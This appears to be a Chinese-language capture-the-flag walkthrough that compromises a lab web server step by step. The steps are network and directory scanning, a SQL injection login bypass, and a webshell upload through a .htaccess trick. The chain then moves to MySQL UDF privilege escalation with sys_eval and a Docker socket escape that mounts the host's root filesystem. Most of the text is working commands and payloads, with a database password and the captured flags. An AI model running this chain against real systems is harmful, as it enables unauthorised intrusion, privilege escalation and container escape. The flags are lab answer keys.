信息收集阶段
1.1 网段扫描与主机发现
首先对目标网段进行存活主机扫描,定位目标 IP:
nmap -sP 192.168.210.0/24
1.2 漏洞与服务探测
对目标主机进行漏洞脚本扫描,识别服务与潜在风险:
nmap --script=vuln 192.168.210.104
发现目标开放 80 端口,运行Apache 服务。
1.3 目录爆破与敏感文件泄露
使用dirsearch爆破 Web 目录,挖掘敏感文件:
dirsearch -u http://192.168.210.104 -e php,txt,zip,bak,swp
扫描结果发现关键敏感文件:.index.php.swp
1.4 读取.index.php.swp 定位 SQL 注入漏洞
漏洞判定:SQL 语句直接拼接用户输入,存在SQL 注入绕过登录漏洞。


让网站跳过密码验证,直接让你登录 admin 账号,访问目标登录页面http://192.168.210.104,构造注入 Payload 绕过认证:
密码:123
用户名:admin'#
成功绕过登录,进入管理员后台,发现文件上传功能


先上传 .htaccess(或重命名后的 htaccess)
再上传 post.jpg (构造带图片头的一句话木马,绕过文件类型检测)直接上传.php文件被拦截,利用 Apache 特性构造.htaccess篡改解析规则。
查看环境变量,泄露数据库凭证


切换到数据库就可以查询库里的表


查询用户表获取Flag1:flag1{d4e7a2c9f185b3064c9d8e1f72b5a6d3}

2.2 MySQL UDF 提权与 Flag2 获取
SELECT @@secure_file_priv; 返回为空,具备写文件权限,可利用 UDF 提权。
2.2.1 UDF 文件处理
解密 sqlmap 自带 UDF 文件:
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d \ -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ \ -o /tmp/lib_mysqludf_sys_64.so
转换为十六进制:xxd -p /tmp/lib_mysqludf_sys_64.so | tr -d '\n' > /tmp/udf64_hex.txt
2.2.2 写入 UDF 并创建函数
UDF_HEX=$(cat /tmp/udf64_hex.txt)
mysql -h 192.168.210.104 -u root -pKp7mXz2wRn9sLqDf --skip-ssl \ -e "SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys_64.so';"
创建系统执行函数sys_eval
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.so'; SELECT sys_eval('id');
2.2.3 SUID 提权获取 Flag2
SELECT sys_eval('find / -perm -u=s -type f 2>/dev/null');
SELECT sys_eval('/usr/bin/nohup cat /flag');
Flag2:flag2{8f3c1b7e2d964a05e7b9d4c6f1a83e52}
3.1 Docker 容器逃逸与 Flag3 获取
排查特权容器与 Docker 套接字:
SELECT sys_eval('capsh --print');
SELECT sys_eval('fdisk -l');
SELECT sys_eval('find / -name "docker.sock" 2>/dev/null');
SELECT sys_eval('ls -la /run/docker.sock');
发现/run/docker.sock可写,具备Docker 逃逸条件。
3.2 利用 Docker API 挂载宿主机根目录
构造 Payload,创建容器并挂载宿主机根目录:
PAYLOAD='{"Image":"mysql:5.7","Cmd":["find", "/host", "-name", "*flag*"],"HostConfig":{"Binds":["/:/host"]}}' PAYLOAD_B64=$(echo "$PAYLOAD" | base64 -w0)
mysql -h 192.168.210.104 -u root -pKp7mXz2wRn9sLqDf --skip-ssl -N \ -e "SELECT sys_eval('echo $PAYLOAD_B64 | base64 -d > /tmp/payload.json');"
调用 Docker API 创建并启动容器:
SELECT sys_eval('curl --unix-socket /run/docker.sock -X POST -H "Content-Type: application/json" -d @/tmp/payload.json http://localhost/containers/create?name=discovery_win');
SELECT sys_eval('curl --unix-socket /run/docker.sock -X POST http://localhost/containers/discovery_win/start');
SELECT sys_eval('curl --unix-socket /run/docker.sock http://localhost/containers/discovery_win/logs?stdout=1');
3.3 读取宿主机 Flag3 (路径:/host/flag)
重新构造 Payload 读取 Flag:
PAYLOAD='{"Image":"mysql:5.7","Cmd":["cat","/host/flag"],"HostConfig":{"Binds":["/:/host"]}}' PAYLOAD_B64=$(echo "$PAYLOAD" | base64 -w0)
mysql -h 192.168.210.104 -u root -pKp7mXz2wRn9sLqDf --skip-ssl -N \ -e "SELECT sys_eval('echo $PAYLOAD_B64 | base64 -d > /tmp/payload.json');"
创建容器并获取 Flag3:
SELECT sys_eval('curl --unix-socket /run/docker.sock -X POST -H "Content-Type: application/json" -d @/tmp/payload.json http://localhost/containers/create?name=final_win');
SELECT sys_eval('curl --unix-socket /run/docker.sock -X POST http://localhost/containers/final_win/start');
SELECT sys_eval('curl --unix-socket /run/docker.sock http://localhost/containers/final_win/logs?stdout=1');
Flag3:flag3{c2d5e8f1a3b76049d8e1c4b7f2a95d63}
本次渗透完整攻击链路:
网段扫描 → 目录爆破 → .swp源码泄露 → SQL注入绕过登录 → 文件上传+.htaccess解析绕过 → 数据库凭证泄露 → MySQL UDF提权 → SUID提权 → Docker Socket逃逸 → 宿主机权限获取
4 最终 Flag 汇总
flag1{d4e7a2c9f185b3064c9d8e1f72b5a6d3}
flag2{8f3c1b7e2d964a05e7b9d4c6f1a83e52}
flag3{c2d5e8f1a3b76049d8e1c4b7f2a95d63}